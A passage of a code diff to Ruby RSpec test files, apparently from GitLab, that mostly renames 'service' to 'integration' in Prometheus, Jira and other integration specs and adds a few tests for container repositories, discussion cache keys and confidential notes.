@@ -49,10 +49,10 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
end
context 'with valid data' do
- subject { service.query(:environment, environment) }
+ subject { integration.query(:environment, environment) }
before do
- stub_reactive_cache(service, prometheus_data, environment_query, environment.id)
+ stub_reactive_cache(integration, prometheus_data, environment_query, environment.id)
end
it 'returns reactive data' do
@@ -66,11 +66,11 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
let(:prometheus_client) { double(:prometheus_client, label_values: nil) }
context 'with valid data' do
- subject { service.query(:matched_metrics) }
+ subject { integration.query(:matched_metrics) }
before do
- allow(service).to receive(:prometheus_client).and_return(prometheus_client)
- synchronous_reactive_cache(service)
+ allow(integration).to receive(:prometheus_client).and_return(prometheus_client)
+ synchronous_reactive_cache(integration)
end
it 'returns reactive data' do
@@ -89,10 +89,10 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
end
context 'with valid data' do
- subject { service.query(:deployment, deployment) }
+ subject { integration.query(:deployment, deployment) }
before do
- stub_reactive_cache(service, prometheus_data, deployment_query, deployment.id)
+ stub_reactive_cache(integration, prometheus_data, deployment_query, deployment.id)
end
it 'returns reactive data' do
@@ -111,10 +111,10 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
end
context 'with valid data' do
- subject { service.query(:additional_metrics_environment, environment, *time_window) }
+ subject { integration.query(:additional_metrics_environment, environment, *time_window) }
before do
- stub_reactive_cache(service, prometheus_data, additional_metrics_environment_query, environment.id, *time_window)
+ stub_reactive_cache(integration, prometheus_data, additional_metrics_environment_query, environment.id, *time_window)
end
it 'returns reactive data' do
@@ -128,21 +128,21 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
let(:environment) { create(:environment, slug: 'env-slug') }
before do
- service.manual_configuration = true
- service.active = true
+ integration.manual_configuration = true
+ integration.active = true
end
subject do
- service.calculate_reactive_cache(environment_query.name, environment.id)
+ integration.calculate_reactive_cache(environment_query.name, environment.id)
end
around do |example|
freeze_time { example.run }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
- service.active = false
+ integration.active = false
end
it { is_expected.to be_nil }
@@ -168,7 +168,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
end
describe '#build_query_args' do
- subject { service.build_query_args(*args) }
+ subject { integration.build_query_args(*args) }
context 'when active record models are included' do
let(:args) { [double(:environment, id: 12)] }
diff --git a/spec/models/container_repository_spec.rb b/spec/models/container_repository_spec.rb
index 3232a559d0b..a53db07cc59 100644
--- a/spec/models/container_repository_spec.rb
+++ b/spec/models/container_repository_spec.rb
@@ -281,6 +281,16 @@ RSpec.describe ContainerRepository do
expect(repository.name).to be_empty
end
end
+
+ context 'when repository already exists' do
+ let(:path) { project.full_path + '/some/image' }
+
+ it 'returns the existing repository' do
+ container_repository = create(:container_repository, project: project, name: 'some/image')
+
+ expect(repository.id).to eq(container_repository.id)
+ end
+ end
end
describe '.build_root_repository' do
@@ -311,13 +321,18 @@ RSpec.describe ContainerRepository do
end
context 'with a subgroup' do
- let(:test_group) { create(:group) }
- let(:another_project) { create(:project, path: 'test', group: test_group) }
+ let_it_be(:test_group) { create(:group) }
+ let_it_be(:another_project) { create(:project, path: 'test', group: test_group) }
+ let_it_be(:project3) { create(:project, path: 'test3', group: test_group, container_registry_enabled: false) }
- let(:another_repository) do
+ let_it_be(:another_repository) do
create(:container_repository, name: 'my_image', project: another_project)
end
+ let_it_be(:repository3) do
+ create(:container_repository, name: 'my_image3', project: project3)
+ end
+
before do
group.parent = test_group
group.save!
@@ -331,40 +346,6 @@ RSpec.describe ContainerRepository do
it { is_expected.to eq([]) }
end
-
- context 'with read_container_registry_access_level disabled' do
- before do
- stub_feature_flags(read_container_registry_access_level: false)
- end
-
- context 'in a group' do
- let(:test_group) { group }
-
- it { is_expected.to contain_exactly(repository) }
- end
-
- context 'with a subgroup' do
- let(:test_group) { create(:group) }
- let(:another_project) { create(:project, path: 'test', group: test_group) }
-
- let(:another_repository) do
- create(:container_repository, name: 'my_image', project: another_project)
- end
-
- before do
- group.parent = test_group
- group.save!
- end
-
- it { is_expected.to contain_exactly(repository, another_repository) }
- end
-
- context 'group without container_repositories' do
- let(:test_group) { create(:group) }
-
- it { is_expected.to eq([]) }
- end
- end
end
describe '.search_by_name' do
diff --git a/spec/models/deploy_token_spec.rb b/spec/models/deploy_token_spec.rb
index dfc37f9e661..c9f7895a616 100644
--- a/spec/models/deploy_token_spec.rb
+++ b/spec/models/deploy_token_spec.rb
@@ -242,6 +242,7 @@ RSpec.describe DeployToken do
context 'and when the token is of group type' do
let_it_be(:group) { create(:group) }
+
let(:deploy_token) { create(:deploy_token, :group) }
before do
diff --git a/spec/models/deployment_metrics_spec.rb b/spec/models/deployment_metrics_spec.rb
index fadfc1b63ac..c804e20d66d 100644
--- a/spec/models/deployment_metrics_spec.rb
+++ b/spec/models/deployment_metrics_spec.rb
@@ -15,35 +15,35 @@ RSpec.describe DeploymentMetrics do
context 'when deployment is success' do
let(:deployment) { create(:deployment, :success) }
- context 'without a monitoring service' do
+ context 'without a monitoring integration' do
it { is_expected.to be_falsy }
end
- context 'with a Prometheus Service' do
- let(:prometheus_service) { instance_double(PrometheusService, can_query?: true, configured?: true) }
+ context 'with a Prometheus integration' do
+ let(:prometheus_integration) { instance_double(::Integrations::Prometheus, can_query?: true, configured?: true) }
before do
- allow(deployment.project).to receive(:find_or_initialize_service).with('prometheus').and_return prometheus_service
+ allow(deployment.project).to receive(:find_or_initialize_integration).with('prometheus').and_return prometheus_integration
end
it { is_expected.to be_truthy }
end
- context 'with a Prometheus Service that cannot query' do
- let(:prometheus_service) { instance_double(PrometheusService, configured?: true, can_query?: false) }
+ context 'with a Prometheus integration that cannot query' do
+ let(:prometheus_integration) { instance_double(::Integrations::Prometheus, configured?: true, can_query?: false) }
before do
- allow(deployment.project).to receive(:find_or_initialize_service).with('prometheus').and_return prometheus_service
+ allow(deployment.project).to receive(:find_or_initialize_integration).with('prometheus').and_return prometheus_integration
end
it { is_expected.to be_falsy }
end
- context 'with a Prometheus Service that is not configured' do
- let(:prometheus_service) { instance_double(PrometheusService, configured?: false, can_query?: false) }
+ context 'with a Prometheus integration that is not configured' do
+ let(:prometheus_integration) { instance_double(::Integrations::Prometheus, configured?: false, can_query?: false) }
before do
- allow(deployment.project).to receive(:find_or_initialize_service).with('prometheus').and_return prometheus_service
+ allow(deployment.project).to receive(:find_or_initialize_integration).with('prometheus').and_return prometheus_integration
end
it { is_expected.to be_falsy }
@@ -64,7 +64,7 @@ RSpec.describe DeploymentMetrics do
describe '#metrics' do
let(:deployment) { create(:deployment, :success) }
- let(:prometheus_adapter) { instance_double(PrometheusService, can_query?: true, configured?: true) }
+ let(:prometheus_adapter) { instance_double(::Integrations::Prometheus, can_query?: true, configured?: true) }
let(:deployment_metrics) { described_class.new(deployment.project, deployment) }
subject { deployment_metrics.metrics }
diff --git a/spec/models/deployment_spec.rb b/spec/models/deployment_spec.rb
index bcd237cbd38..a0e5e9cbfe4 100644
--- a/spec/models/deployment_spec.rb
+++ b/spec/models/deployment_spec.rb
@@ -80,6 +80,7 @@ RSpec.describe Deployment do
let_it_be(:staging) { create(:environment, :staging, project: project) }
let_it_be(:other_project) { create(:project, :repository) }
let_it_be(:other_production) { create(:environment, :production, project: other_project) }
+
let(:environment_name) { production.name }
context 'when deployment belongs to the environment' do
@@ -488,6 +489,7 @@ RSpec.describe Deployment do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:commits) { project.repository.commits('master', limit: 2) }
let_it_be(:deployments) { commits.reverse.map { |commit| create(:deployment, project: project, sha: commit.id) } }
+
let(:sha) { commits.map(&:id) }
it 'finds the latest deployment with sha' do
@@ -823,6 +825,7 @@ RSpec.describe Deployment do
describe '#update_merge_request_metrics!' do
let_it_be(:project) { create(:project, :repository) }
+
let(:environment) { build(:environment, environment_tier, project: project) }
let!(:deployment) { create(:deployment, :success, project: project, environment: environment) }
let!(:merge_request) { create(:merge_request, :simple, :merged_last_month, project: project) }
diff --git a/spec/models/diff_discussion_spec.rb b/spec/models/diff_discussion_spec.rb
index 2a2663149d0..998204626d3 100644
--- a/spec/models/diff_discussion_spec.rb
+++ b/spec/models/diff_discussion_spec.rb
@@ -126,4 +126,13 @@ RSpec.describe DiffDiscussion do
end
end
end
+
+ describe '#cache_key' do
+ it 'returns the cache key with the position sha' do
+ notes_sha = Digest::SHA1.hexdigest("#{diff_note.id}")
+ position_sha = Digest::SHA1.hexdigest(diff_note.position.to_json)
+
+ expect(subject.cache_key).to eq("#{described_class::CACHE_VERSION}:#{diff_note.latest_cached_markdown_version}:#{subject.id}:#{notes_sha}:#{diff_note.updated_at}::#{position_sha}")
+ end
+ end
end
diff --git a/spec/models/diff_viewer/server_side_spec.rb b/spec/models/diff_viewer/server_side_spec.rb
index 686dd1249be..28660b0d4b9 100644
--- a/spec/models/diff_viewer/server_side_spec.rb
+++ b/spec/models/diff_viewer/server_side_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe DiffViewer::ServerSide do
let_it_be(:project) { create(:project, :repository) }
+
let(:commit) { project.commit_by(oid: '570e7b2abdd848b95f2f578043fc23bd6f6fd24d') }
let!(:diff_file) { commit.diffs.diff_file_with_new_path('files/ruby/popen.rb') }
diff --git a/spec/models/discussion_spec.rb b/spec/models/discussion_spec.rb
index 021940be0c2..2b33de96e04 100644
--- a/spec/models/discussion_spec.rb
+++ b/spec/models/discussion_spec.rb
@@ -51,4 +51,22 @@ RSpec.describe Discussion do
expect(policy).to be_a(NotePolicy)
end
end
+
+ describe '#cache_key' do
+ let(:notes_sha) { Digest::SHA1.hexdigest("#{first_note.id}:#{second_note.id}:#{third_note.id}") }
+
+ it 'returns the cache key with ID and latest updated note updated at' do
+ expect(subject.cache_key).to eq("#{described_class::CACHE_VERSION}:#{third_note.latest_cached_markdown_version}:#{subject.id}:#{notes_sha}:#{third_note.updated_at}:")
+ end
+
+ context 'when discussion is resolved' do
+ before do
+ subject.resolve!(first_note.author)
+ end
+
+ it 'returns the cache key with resolved at' do
+ expect(subject.cache_key).to eq("#{described_class::CACHE_VERSION}:#{third_note.latest_cached_markdown_version}:#{subject.id}:#{notes_sha}:#{third_note.updated_at}:#{subject.resolved_at}")
+ end
+ end
+ end
end
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index ff4c8ae950d..18a172b72d7 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -219,6 +219,7 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:environments) { Environment.all }
before_all do
@@ -760,6 +761,7 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
describe '#last_visible_pipeline' do
let(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository) }
+
let(:environment) { create(:environment, project: project) }
let(:commit) { project.commit }
@@ -1462,6 +1464,7 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:environment, reload: true) { create(:environment, project: project) }
+
let!(:deployment) { create(:deployment, project: project, environment: environment, deployable: build) }
let!(:build) { create(:ci_build, :running, project: project, environment: environment) }
diff --git a/spec/models/error_tracking/error_event_spec.rb b/spec/models/error_tracking/error_event_spec.rb
new file mode 100644
index 00000000000..331661f88cc
--- /dev/null
+++ b/spec/models/error_tracking/error_event_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ErrorTracking::ErrorEvent, type: :model do
+ describe 'relationships' do
+ it { is_expected.to belong_to(:error) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:description) }
+ it { is_expected.to validate_presence_of(:occurred_at) }
+ end
+end
diff --git a/spec/models/error_tracking/error_spec.rb b/spec/models/error_tracking/error_spec.rb
new file mode 100644
index 00000000000..8591802d15c
--- /dev/null
+++ b/spec/models/error_tracking/error_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ErrorTracking::Error, type: :model do
+ describe 'relationships' do
+ it { is_expected.to belong_to(:project) }
+ it { is_expected.to have_many(:events) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:name) }
+ it { is_expected.to validate_presence_of(:description) }
+ it { is_expected.to validate_presence_of(:actor) }
+ end
+end
diff --git a/spec/models/event_collection_spec.rb b/spec/models/event_collection_spec.rb
index aca2a8c3a2f..107447c9630 100644
--- a/spec/models/event_collection_spec.rb
+++ b/spec/models/event_collection_spec.rb
@@ -28,6 +28,7 @@ RSpec.describe EventCollection do
let_it_be(:closed_issue_event) { create(:closed_issue_event, project: project, author: user) }
let_it_be(:wiki_page_event) { create(:wiki_page_event, project: project) }
let_it_be(:design_event) { create(:design_event, project: project) }
+
let(:push_events) { push_event_payloads.map(&:event) }
it 'returns an Array of events', :aggregate_failures do
diff --git a/spec/models/event_spec.rb b/spec/models/event_spec.rb
index 949e8ec0a72..fc229dcaa22 100644
--- a/spec/models/event_spec.rb
+++ b/spec/models/event_spec.rb
@@ -268,6 +268,7 @@ RSpec.describe Event do
let(:design) { create(:design, issue: issue, project: project) }
let(:note_on_commit) { create(:note_on_commit, project: project) }
let(:note_on_issue) { create(:note_on_issue, noteable: issue, project: project) }
+ let(:confidential_note) { create(:note, noteable: issue, project: project, confidential: true) }
let(:note_on_confidential_issue) { create(:note_on_issue, noteable: confidential_issue, project: project) }
let(:note_on_project_snippet) { create(:note_on_project_snippet, author: author, noteable: project_snippet, project: project) }
let(:note_on_personal_snippet) { create(:note_on_personal_snippet, author: author, noteable: personal_snippet, project: nil) }
@@ -399,6 +400,16 @@ RSpec.describe Event do
include_examples 'visible to assignee and author', true
end
+ context 'confidential note' do
+ let(:target) { confidential_note }
+
+ include_examples 'visibility examples' do
+ let(:visibility) { visible_to_none_except(:member) }
+ end
+
+ include_examples 'visible to author', true
+ end
+
context 'private project' do
let(:project) { private_project }
let(:target) { note_on_issue }
@@ -967,14 +978,13 @@ RSpec.describe Event do
describe '#action_name' do
it 'handles all valid design events' do
- created, updated, destroyed, archived = %i[created updated destroyed archived].map do |trait|
+ created, updated, destroyed = %i[created updated destroyed].map do |trait|
build(:design_event, trait).action_name
end
expect(created).to eq('uploaded')
expect(updated).to eq('revised')
expect(destroyed).to eq('deleted')
- expect(archived).to eq('archived')
end
it 'handles correct push_action' do
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index 8f4bc43c38a..0a08b15a1eb 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -565,11 +565,11 @@ RSpec.describe Group do
describe '.without_integration' do
let(:another_group) { create(:group) }
- let(:instance_integration) { build(:jira_service, :instance) }
+ let(:instance_integration) { build(:jira_integration, :instance) }
before do
- create(:jira_service, group: group, project: nil)
- create(:slack_service, group: another_group, project: nil)
+ create(:jira_integration, group: group, project: nil)
+ create(:integrations_slack, group: another_group, project: nil)
end
it 'returns groups without integration' do
diff --git a/spec/models/integration_spec.rb b/spec/models/integration_spec.rb
index d4ea3e5d08a..ab4027170b2 100644
--- a/spec/models/integration_spec.rb
+++ b/spec/models/integration_spec.rb
@@ -9,11 +9,12 @@ RSpec.describe Integration do
let_it_be(:project) { create(:project, group: group) }
describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to belong_to :group }
- it { is_expected.to have_one :service_hook }
- it { is_expected.to have_one :jira_tracker_data }
- it { is_expected.to have_one :issue_tracker_data }
+ it { is_expected.to belong_to(:project).inverse_of(:integrations) }
+ it { is_expected.to belong_to(:group).inverse_of(:integrations) }
+ it { is_expected.to have_one(:service_hook).inverse_of(:integration).with_foreign_key(:service_id) }
+ it { is_expected.to have_one(:issue_tracker_data).autosave(true).inverse_of(:integration).with_foreign_key(:service_id).class_name('Integrations::IssueTrackerData') }
+ it { is_expected.to have_one(:jira_tracker_data).autosave(true).inverse_of(:integration).with_foreign_key(:service_id).class_name('Integrations::JiraTrackerData') }
+ it { is_expected.to have_one(:open_project_tracker_data).autosave(true).inverse_of(:integration).with_foreign_key(:service_id).class_name('Integrations::OpenProjectTrackerData') }
end
describe 'validations' do
@@ -68,9 +69,9 @@ RSpec.describe Integration do
describe 'Scopes' do
describe '.by_type' do
- let!(:service1) { create(:jira_service) }
- let!(:service2) { create(:jira_service) }
- let!(:service3) { create(:redmine_service) }
+ let!(:service1) { create(:jira_integration) }
+ let!(:service2) { create(:jira_integration) }
+ let!(:service3) { create(:redmine_integration) }
subject { described_class.by_type(type) }
@@ -88,8 +89,8 @@ RSpec.describe Integration do
end
describe '.for_group' do
- let!(:service1) { create(:jira_service, project_id: nil, group_id: group.id) }
- let!(:service2) { create(:jira_service) }
+ let!(:service1) { create(:jira_integration, project_id: nil, group_id: group.id) }
+ let!(:service2) { create(:jira_integration) }
it 'returns the right group service' do
expect(described_class.for_group(group)).to match_array([service1])
@@ -139,67 +140,38 @@ RSpec.describe Integration do
end
end
- describe "Test Button" do
- let(:service) { build(:service, project: project) }
-
- describe '#can_test?' do
- subject { service.can_test? }
-
- context 'when repository is not empty' do
- let(:project) { build(:project, :repository) }
-
- it { is_expected.to be true }
- end
-
- context 'when repository is empty' do
- let(:project) { build(:project) }
-
- it { is_expected.to be true }
- end
-
- context 'when instance-level service' do
- Integration.available_services_types.each do |service_type|
- let(:service) do
- described_class.send(:integration_type_to_model, service_type).new(instance: true)
- end
-
- it { is_expected.to be_falsey }
- end
- end
-
- context 'when group-level service' do
- Integration.available_services_types.each do |service_type|
- let(:service) do
- described_class.send(:integration_type_to_model, service_type).new(group_id: group.id)
- end
+ describe '#testable?' do
+ context 'when integration is project-level' do
+ subject { build(:service, project: project) }
- it { is_expected.to be_falsey }
- end
- end
+ it { is_expected.to be_testable }
end
- describe '#test' do
- let(:data) { 'test' }
+ context 'when integration is not project-level' do
+ subject { build(:service, project: nil) }
- context 'when repository is not empty' do
- let(:project) { build(:project, :repository) }
+ it { is_expected.not_to be_testable }
+ end
+ end
- it 'test runs execute' do
- expect(service).to receive(:execute).with(data)
+ describe '#test' do
+ let(:integration) { build(:service, project: project) }
+ let(:data) { 'test' }
- service.test(data)
- end
- end
+ it 'calls #execute' do
+ expect(integration).to receive(:execute).with(data)
- context 'when repository is empty' do
- let(:project) { build(:project) }
+ integration.test(data)
+ end
- it 'test runs execute' do
- expect(service).to receive(:execute).with(data)
+ it 'returns a result' do
+ result = 'foo'
+ allow(integration).to receive(:execute).with(data).and_return(result)
- service.test(data)
- end
- end
+ expect(integration.test(data)).to eq(
+ success: true,
+ result: result
+ )
end
end
@@ -234,26 +206,30 @@ RSpec.describe Integration do
end
describe '.find_or_initialize_non_project_specific_integration' do
- let!(:service1) { create(:jira_service, project_id: nil, group_id: group.id) }
- let!(:service2) { create(:jira_service) }
+ let!(:integration_1) { create(:jira_integration, project_id: nil, group_id: group.id) }
+ let!(:integration_2) { create(:jira_integration) }
- it 'returns the right service' do
- expect(Integration.find_or_initialize_non_project_specific_integration('jira', group_id: group)).to eq(service1)
+ it 'returns the right integration' do
+ expect(Integration.find_or_initialize_non_project_specific_integration('jira', group_id: group))
+ .to eq(integration_1)
end
- it 'does not create a new service' do
- expect { Integration.find_or_initialize_non_project_specific_integration('redmine', group_id: group) }.not_to change { Integration.count }
+ it 'does not create a new integration' do
+ expect { Integration.find_or_initialize_non_project_specific_integration('redmine', group_id: group) }
+ .not_to change(Integration, :count)
end
end
describe '.find_or_initialize_all_non_project_specific' do
shared_examples 'service instances' do
it 'returns the available service instances' do
- expect(Integration.find_or_initialize_all_non_project_specific(Integration.for_instance).map(&:to_param)).to match_array(Integration.available_services_names(include_project_specific: false))
+ expect(Integration.find_or_initialize_all_non_project_specific(Integration.for_instance).map(&:to_param))
+ .to match_array(Integration.available_integration_names(include_project_specific: false))
end
it 'does not create service instances' do
- expect { Integration.find_or_initialize_all_non_project_specific(Integration.for_instance) }.not_to change { Integration.count }
+ expect { Integration.find_or_initialize_all_non_project_specific(Integration.for_instance) }
+ .not_to change(Integration, :count)
end
end
@@ -262,7 +238,7 @@ RSpec.describe Integration do
context 'with all existing instances' do
before do
Integration.insert_all(
- Integration.available_services_types(include_project_specific: false).map { |type| { instance: true, type: type } }
+ Integration.available_integration_types(include_project_specific: false).map { |type| { instance: true, type: type } }
)
end
@@ -280,7 +256,7 @@ RSpec.describe Integration do
context 'with a few existing instances' do
before do
- create(:jira_service, :instance)
+ create(:jira_integration, :instance)
end
it_behaves_like 'service instances'
@@ -290,13 +266,15 @@ RSpec.describe Integration do
describe 'template' do
shared_examples 'retrieves service templates' do
it 'returns the available service templates' do
- expect(Integration.find_or_create_templates.pluck(:type)).to match_array(Integration.available_services_types(include_project_specific: false))
+ expect(Integration.find_or_create_templates.pluck(:type)).to match_array(Integration.available_integration_types(include_project_specific: false))
end
end
describe '.find_or_create_templates' do
it 'creates service templates' do
- expect { Integration.find_or_create_templates }.to change { Integration.count }.from(0).to(Integration.available_services_names(include_project_specific: false).size)
+ total = Integration.available_integration_names(include_project_specific: false).size
+
+ expect { Integration.find_or_create_templates }.to change(Integration, :count).from(0).to(total)
end
it_behaves_like 'retrieves service templates'
@@ -304,7 +282,7 @@ RSpec.describe Integration do
context 'with all existing templates' do
before do
Integration.insert_all(
- Integration.available_services_types(include_project_specific: false).map { |type| { template: true, type: type } }
+ Integration.available_integration_types(include_project_specific: false).map { |type| { template: true, type: type } }
)
end
@@ -326,11 +304,13 @@ RSpec.describe Integration do
context 'with a few existing templates' do
before do
- create(:jira_service, :template)
+ create(:jira_integration, :template)
end
it 'creates the rest of the service templates' do
- expect { Integration.find_or_create_templates }.to change { Integration.count }.from(1).to(Integration.available_services_names(include_project_specific: false).size)
+ total = Integration.available_integration_names(include_project_specific: false).size
+
+ expect { Integration.find_or_create_templates }.to change(Integration, :count).from(1).to(total)
end
it_behaves_like 'retrieves service templates'
@@ -339,36 +319,36 @@ RSpec.describe Integration do
describe '.build_from_integration' do
context 'when integration is invalid' do
- let(:integration) do
- build(:prometheus_service, :template, active: true, properties: {})
+ let(:template_integration) do
+ build(:prometheus_integration, :template, active: true, properties: {})
.tap { |integration| integration.save!(validate: false) }
end
- it 'sets service to inactive' do
- service = described_class.build_from_integration(integration, project_id: project.id)
+ it 'sets integration to inactive' do
+ integration = described_class.build_from_integration(template_integration, project_id: project.id)
- expect(service).to be_valid
- expect(service.active).to be false
+ expect(integration).to be_valid
+ expect(integration.active).to be false
end
end
context 'when integration is an instance-level integration' do
- let(:integration) { create(:jira_service, :instance) }
+ let(:instance_integration) { create(:jira_integration, :instance) }
it 'sets inherit_from_id from integration' do
- service = described_class.build_from_integration(integration, project_id: project.id)
+ integration = described_class.build_from_integration(instance_integration, project_id: project.id)
- expect(service.inherit_from_id).to eq(integration.id)
+ expect(integration.inherit_from_id).to eq(instance_integration.id)
end
end
context 'when integration is a group-level integration' do
- let(:integration) { create(:jira_service, group: group, project: nil) }
+ let(:group_integration) { create(:jira_integration, group: group, project: nil) }
it 'sets inherit_from_id from integration' do
- service = described_class.build_from_integration(integration, project_id: project.id)
+ integration = described_class.build_from_integration(group_integration, project_id: project.id)
- expect(service.inherit_from_id).to eq(integration.id)
+ expect(integration.inherit_from_id).to eq(group_integration.id)
end
end
@@ -418,7 +398,7 @@ RSpec.describe Integration do
context 'when data are stored in properties' do
let(:properties) { data_params }
let!(:integration) do
- create(:jira_service, :without_properties_callback, template: true, properties: properties.merge(additional: 'something'))
+ create(:jira_integration, :without_properties_callback, template: true, properties: properties.merge(additional: 'something'))
end
it_behaves_like 'service creation from an integration'
@@ -426,7 +406,7 @@ RSpec.describe Integration do
context 'when data are stored in separated fields' do
let(:integration) do
- create(:jira_service, :template, data_params.merge(properties: {}))
+ create(:jira_integration, :template, data_params.merge(properties: {}))
end
it_behaves_like 'service creation from an integration'
@@ -435,7 +415,7 @@ RSpec.describe Integration do
context 'when data are stored in both properties and separated fields' do
let(:properties) { data_params }
let(:integration) do
- create(:jira_service, :without_properties_callback, active: true, template: true, properties: properties).tap do |integration|
+ create(:jira_integration, :without_properties_callback, active: true, template: true, properties: properties).tap do |integration|
create(:jira_tracker_data, data_params.merge(integration: integration))
end
end
@@ -459,39 +439,41 @@ RSpec.describe Integration do
describe 'is prefilled for projects pushover service' do
it "has all fields prefilled" do
- service = project.find_or_initialize_service('pushover')
-
- expect(service.template).to eq(false)
- expect(service.device).to eq('MyDevice')
- expect(service.sound).to eq('mic')
- expect(service.priority).to eq(4)
- expect(service.api_key).to eq('123456789')
+ integration = project.find_or_initialize_integration('pushover')
+
+ expect(integration).to have_attributes(
+ template: eq(false),
+ device: eq('MyDevice'),
+ sound: eq('mic'),
+ priority: eq(4),
+ api_key: eq('123456789')
+ )
end
end
end
end
describe '.default_integration' do
- context 'with an instance-level service' do
- let_it_be(:instance_service) { create(:jira_service, :instance) }
+ context 'with an instance-level integration' do
+ let_it_be(:instance_integration) { create(:jira_integration, :instance) }
- it 'returns the instance service' do
- expect(described_class.default_integration('JiraService', project)).to eq(instance_service)
+ it 'returns the instance integration' do
+ expect(described_class.default_integration('JiraService', project)).to eq(instance_integration)
end
- it 'returns nil for nonexistent service type' do
+ it 'returns nil for nonexistent integration type' do
expect(described_class.default_integration('HipchatService', project)).to eq(nil)
end
- context 'with a group service' do
- let_it_be(:group_service) { create(:jira_service, group_id: group.id, project_id: nil) }
+ context 'with a group integration' do
+ let_it_be(:group_integration) { create(:jira_integration, group_id: group.id, project_id: nil) }
- it 'returns the group service for a project' do
- expect(described_class.default_integration('JiraService', project)).to eq(group_service)
+ it 'returns the group integration for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(group_integration)
end
- it 'returns the instance service for a group' do
- expect(described_class.default_integration('JiraService', group)).to eq(instance_service)
+ it 'returns the instance integration for a group' do
+ expect(described_class.default_integration('JiraService', group)).to eq(instance_integration)
end
context 'with a subgroup' do
@@ -499,27 +481,27 @@ RSpec.describe Integration do
let!(:project) { create(:project, group: subgroup) }
- it 'returns the closest group service for a project' do
- expect(described_class.default_integration('JiraService', project)).to eq(group_service)
+ it 'returns the closest group integration for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(group_integration)
end
- it 'returns the closest group service for a subgroup' do
- expect(described_class.default_integration('JiraService', subgroup)).to eq(group_service)
+ it 'returns the closest group integration for a subgroup' do
+ expect(described_class.default_integration('JiraService', subgroup)).to eq(group_integration)
end
- context 'having a service with custom settings' do
- let!(:subgroup_service) { create(:jira_service, group_id: subgroup.id, project_id: nil) }
+ context 'having a integration with custom settings' do
+ let!(:subgroup_integration) { create(:jira_integration, group_id: subgroup.id, project_id: nil) }
- it 'returns the closest group service for a project' do
- expect(described_class.default_integration('JiraService', project)).to eq(subgroup_service)
+ it 'returns the closest group integration for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(subgroup_integration)
end
end
- context 'having a service inheriting settings' do
- let!(:subgroup_service) { create(:jira_service, group_id: subgroup.id, project_id: nil, inherit_from_id: group_service.id) }
+ context 'having a integration inheriting settings' do
+ let!(:subgroup_integration) { create(:jira_integration, group_id: subgroup.id, project_id: nil, inherit_from_id: group_integration.id) }
- it 'returns the closest group service which does not inherit from its parent for a project' do
- expect(described_class.default_integration('JiraService', project)).to eq(group_service)
+ it 'returns the closest group integration which does not inherit from its parent for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(group_integration)
end
end
end
@@ -528,10 +510,10 @@ RSpec.describe Integration do
end
describe '.create_from_active_default_integrations' do
- context 'with an active service template' do
- let_it_be(:template_integration) { create(:prometheus_service, :template, api_url: 'https://prometheus.template.com/') }
+ context 'with an active integration template' do
+ let_it_be(:template_integration) { create(:prometheus_integration, :template, api_url: 'https://prometheus.template.com/') }
- it 'creates a service from the template' do
+ it 'creates an integration from the template' do
described_class.create_from_active_default_integrations(project, :project_id, with_templates: true)
expect(project.reload.integrations.size).to eq(1)
@@ -540,9 +522,9 @@ RSpec.describe Integration do
end
context 'with an active instance-level integration' do
- let!(:instance_integration) { create(:prometheus_service, :instance, api_url: 'https://prometheus.instance.com/') }
+ let!(:instance_integration) { create(:prometheus_integration, :instance, api_url: 'https://prometheus.instance.com/') }
- it 'creates a service from the instance-level integration' do
+ it 'creates an integration from the instance-level integration' do
described_class.create_from_active_default_integrations(project, :project_id, with_templates: true)
expect(project.reload.integrations.size).to eq(1)
@@ -551,7 +533,7 @@ RSpec.describe Integration do
end
context 'passing a group' do
- it 'creates a service from the instance-level integration' do
+ it 'creates an integration from the instance-level integration' do
described_class.create_from_active_default_integrations(group, :group_id)
expect(group.reload.integrations.size).to eq(1)
@@ -561,9 +543,9 @@ RSpec.describe Integration do
end
context 'with an active group-level integration' do
- let!(:group_integration) { create(:prometheus_service, group: group, project: nil, api_url: 'https://prometheus.group.com/') }
+ let!(:group_integration) { create(:prometheus_integration, group: group, project: nil, api_url: 'https://prometheus.group.com/') }
- it 'creates a service from the group-level integration' do
+ it 'creates an integration from the group-level integration' do
described_class.create_from_active_default_integrations(project, :project_id, with_templates: true)
expect(project.reload.integrations.size).to eq(1)
@@ -574,7 +556,7 @@ RSpec.describe Integration do
context 'passing a group' do
let!(:subgroup) { create(:group, parent: group) }
- it 'creates a service from the group-level integration' do
+ it 'creates an integration from the group-level integration' do
described_class.create_from_active_default_integrations(subgroup, :group_id)
expect(subgroup.reload.integrations.size).to eq(1)
@@ -584,11 +566,11 @@ RSpec.describe Integration do
end
context 'with an active subgroup' do
